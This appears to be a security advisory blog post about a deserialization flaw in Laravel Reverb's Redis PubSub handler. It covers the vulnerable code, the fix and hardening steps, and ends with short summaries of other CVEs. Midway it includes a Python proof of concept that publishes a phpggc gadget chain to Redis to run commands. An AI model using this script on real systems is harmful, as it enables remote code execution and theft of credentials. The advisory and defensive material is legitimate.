Jan 21, 2026·7 min read·96 visits
If you are running Laravel Reverb in a scaled environment (using Redis), you are likely vulnerable to RCE. Reverb fails to validate class types when processing messages from Redis, allowing an attacker with Redis access (or SSRF) to trigger a PHP Object Injection attack. Patch immediately to v1.7.0.
A critical deserialization vulnerability in Laravel Reverb allows remote code execution via malicious Redis PubSub messages when horizontal scaling is enabled.
Laravel Reverb burst onto the scene as the first-party WebSocket server for the Laravel ecosystem, finally giving developers a native PHP alternative to expensive SaaS solutions like Pusher or complex Node.js setups like Socket.io. It screams performance, using non-blocking I/O to handle thousands of concurrent connections. But, like any good distributed system, it hits a wall when a single server isn't enough. To scale, you need multiple Reverb nodes, and those nodes need to talk to each other.
Enter Redis. When you flip the switch to REVERB_SCALING_ENABLED=true, Reverb starts using Redis PubSub to synchronize events across your fleet. It’s a classic architecture: one node broadcasts an event ("User X sent a message"), and all other nodes pick it up and relay it to their connected clients. It’s elegant, fast, and standard practice.
But here is the catch: implicit trust. The developers assumed that the Redis channel is a sanctuary—a trusted internal pipe where only valid application messages flow. They assumed that if a message appeared in the PubSub channel, it must have come from another valid Reverb node. As security researchers, we know that assumption is the mother of all screw-ups. What happens if we decide to join the conversation?
The vulnerability is a textbook case of Insecure Deserialization (CWE-502), a bug class that refuses to die because it is just so convenient for developers. To pass complex data structures between Reverb nodes, the application serializes PHP objects into strings and ships them over Redis. On the receiving end, the code needs to turn those strings back into living, breathing PHP objects.
The specific failure occurred in how Reverb handled incoming PubSub messages. The incoming JSON payload contained fields like application and payload which were actually serialized PHP strings. Instead of manually parsing these or validating what was inside, Reverb simply passed them to PHP's native unserialize() function.
This is the digital equivalent of accepting a package from a stranger, opening it, and immediately eating whatever is inside without looking. PHP's unserialize() doesn't just restore data; it wakes up objects. It triggers "magic methods" like __wakeup() and __destruct(). If an attacker can control the serialized string, they can force the application to instantiate any class available in the codebase. By chaining these object instantiations together (a technique called Property-Oriented Programming, or POP), an attacker can manipulate the internal logic of valid classes to execute arbitrary system commands.
Let's look at the crime scene. The vulnerability resided in src/Protocols/Pusher/PusherPubSubIncomingMessageHandler.php. This class is responsible for ingesting messages from Redis. The handle method takes the raw JSON payload and processes it.
Here is the vulnerable logic prior to version 1.7.0:
public function handle(string $payload): void
{
// Decode the outer JSON envelope
$event = json_decode($payload, associative: true, flags: JSON_THROW_ON_ERROR);
$this->processEventListeners($event);
// VULNERABILITY #1: Unrestricted unserialization of 'application'
$application = unserialize($event['application'] ?? null);
// ... processing logic ...
match ($event['type'] ?? null) {
'message' => $this->handleMessage($event),
// VULNERABILITY #2: Unrestricted unserialization of 'payload'
'metrics' => app(MetricsHandler::class)->publish(
unserialize($event['payload'])
),
// ...
};
}Notice the lack of a second argument in unserialize(). PHP 7.0 introduced the allowed_classes option precisely to prevent this attack, but it was omitted here. This means any class can be instantiated.
The fix, applied in commit 9ec26f8ffbb701f84920dd0bb9781a1797591f1a, adds strict allow-listing:
// THE FIX: Whitelisting allowed classes
$application = unserialize($event['application'] ?? null, ['allowed_classes' => [Application::class]]);
// ...
'metrics' => app(MetricsHandler::class)->publish(
unserialize($event['payload'], ['allowed_classes' => [
Application::class, PendingMetric::class, MetricType::class
]])
),By defining exactly which classes are allowed (Application, PendingMetric, etc.), the gadget chains are broken. Even if an attacker sends a malicious payload, unserialize will refuse to instantiate the dangerous gadget classes, rendering the exploit inert.
To exploit this, we don't need to attack Reverb directly via HTTP/WebSocket. We need to attack the Redis backend. This is often easier than it sounds. Developers frequently leave Redis exposed on internal networks without authentication, or we might leverage a Server-Side Request Forgery (SSRF) vulnerability in another part of the stack to talk to Redis on port 6379.
Here is the attack plan:
phpggc, the standard tool for PHP serialization exploits. Since Reverb runs on Laravel, we have a buffet of gadget chains available (e.g., Laravel/RCE1, Monolog/RCE1, RCE2, etc.).Below is a conceptual Python exploit script demonstrating the attack:
import redis
import json
import subprocess
# 1. Generate the serialized payload (e.g., executing 'id')
# Using phpggc to generate a Laravel RCE payload
serialized_payload = subprocess.check_output(
['phpggc', 'Laravel/RCE1', 'system', 'id']
).decode('utf-8').strip()
# 2. Construct the Reverb-compatible JSON message
# Reverb expects 'type', 'application', and 'payload'
message = {
"type": "metrics",
"application": "N;", # Null, not targeting this path
"payload": serialized_payload # The bomb goes here
}
# 3. Connect to the exposed Redis instance
r = redis.Redis(host='target-redis.internal', port=6379)
# 4. Publish to the Reverb channel
# Note: The channel name usually defaults to 'reverb'
print(f"[*] Sending payload to Redis channel 'reverb'...")
r.publish('reverb', json.dumps(message))
print("[*] Payload sent. Check your listener.")As soon as the Reverb node picks up this message, unserialize() executes, the gadget chain fires, and the system('id') command runs on the server. If Reverb is running as root (please don't do this) or a user with significant privileges, the attacker now owns the box.
This is a full Remote Code Execution (RCE). It doesn't get much worse than this. Because Reverb is deeply integrated into the Laravel ecosystem, it likely has access to the application's environment variables (.env), which usually contain database credentials, AWS API keys, and mail server passwords.
Furthermore, Reverb is designed to handle persistent connections. An attacker who compromises a Reverb node can perform Mass Surveillance on real-time communications. They could inject malicious JavaScript into WebSocket frames sent to connected clients (Cross-Site Scripting via WebSocket), effectively pivoting from the backend to the frontend users' browsers.
Since this vulnerability relies on Redis, it also implies a breach of the internal trust boundary. If an attacker can reach Redis, they might already be inside the network, but this vulnerability allows them to upgrade that network access into full compute control over the application servers.
The remediation is straightforward but urgent. You must update the laravel/reverb package to version v1.7.0 or higher. This version introduces the allowed_classes whitelist we analyzed earlier, neutralizing the deserialization vector.
Run the following in your project root:
composer update laravel/reverbDefense in Depth: This vulnerability highlights the danger of treating internal services like Redis as "safe zones." You should ensure:
requirepass in your Redis configuration. Reverb supports authenticated Redis connections.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Laravel Reverb Laravel | < 1.7.0 | 1.7.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-502 |
| Attack Vector | Network (Redis PubSub) |
| CVSS v3.1 | 9.8 (Critical) |
| Impact | Remote Code Execution |
| Requirement | Redis Scaling Enabled |
| Exploit Status | Weaponized (PoC Available) |
The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid.
An authenticated administrator with privileges to manage admin accounts (such as change_serversettings) can execute arbitrary SQL commands via a second-order SQL injection vulnerability. The flaw resides in Froxlor's administrative API endpoints, specifically during the handling of IP address mapping parameters which are stored as serialized arrays and later interpolated without sanitization into active database queries. This vulnerability allows high-privileged administrative attackers to compromise the database. By injecting a payload into administrative profile metadata, an attacker can extract sensitive credentials, manipulate backend settings, or potentially disrupt database integrity. The vulnerability affects all versions of Froxlor prior to 2.3.8.
CVE-2026-54543 is a DNS Resource Record (RR) Injection vulnerability in Froxlor, an open-source server administration control panel. Prior to version 2.3.8, the DomainZones.add API command failed to perform strict sanitization and validation on the user-controlled record (label) and type parameters before serializing them into BIND-compatible zone files. An authenticated customer with DNS zone management permissions can inject control characters, breaking out of the original record context to define unauthorized resource records within managed zones.
CVE-2026-42533 is a critical security vulnerability discovered in NGINX Open Source, NGINX Plus, NGINX Ingress Controller, and related products, referred to as the 'Two-Pass Capture-Clobbering' bug. The flaw is situated within NGINX's internal evaluation engine when handling complex variables, exposing a heap-based buffer overflow and information leak when a configuration chains regular expression-based map directives with numbered capture groups. An unauthenticated remote attacker can exploit this weakness by transmitting crafted HTTP requests to trigger remote code execution or defeat ASLR.
Froxlor prior to version 2.3.8 contains a high-severity architectural flaw where the standalone lib/ajax.php entry point bypasses the centralized request validation in lib/init.php. Unauthenticated remote attackers can leverage Cross-Site Request Forgery (CSRF) to induce authenticated administrators to submit forged requests that modify API key whitelists and expiration dates, potentially yielding persistent, out-of-band administrative control.
An insecure data retrieval flaw in the Froxlor server administration panel API allows authenticated remote attackers to retrieve unredacted bcrypt password hashes and Base32-encoded Time-Based One-Time Password (TOTP) seeds. Affected endpoints include several 'get' and 'listing' handlers for customers, administrators, and FTP accounts. Utilizing these leaked parameters, attackers can crack the password hashes offline and concurrently generate valid second-factor authentication codes to completely bypass access controls.
CVE-2026-70666 is a critical Server-Side Request Forgery (SSRF) vulnerability in Netflix Lemur's ACME certificate management integration. Prior to version 1.9.3, the system allowed authority-role users to bypass initial ACME URL allowlist validations when updating an existing authority. Additionally, the underlying ACME network client blindly parsed and connected to dynamic endpoint URLs supplied in JSON responses from the configured ACME directory, allowing attackers to route arbitrary JWS-signed requests to internal services or cloud metadata endpoints.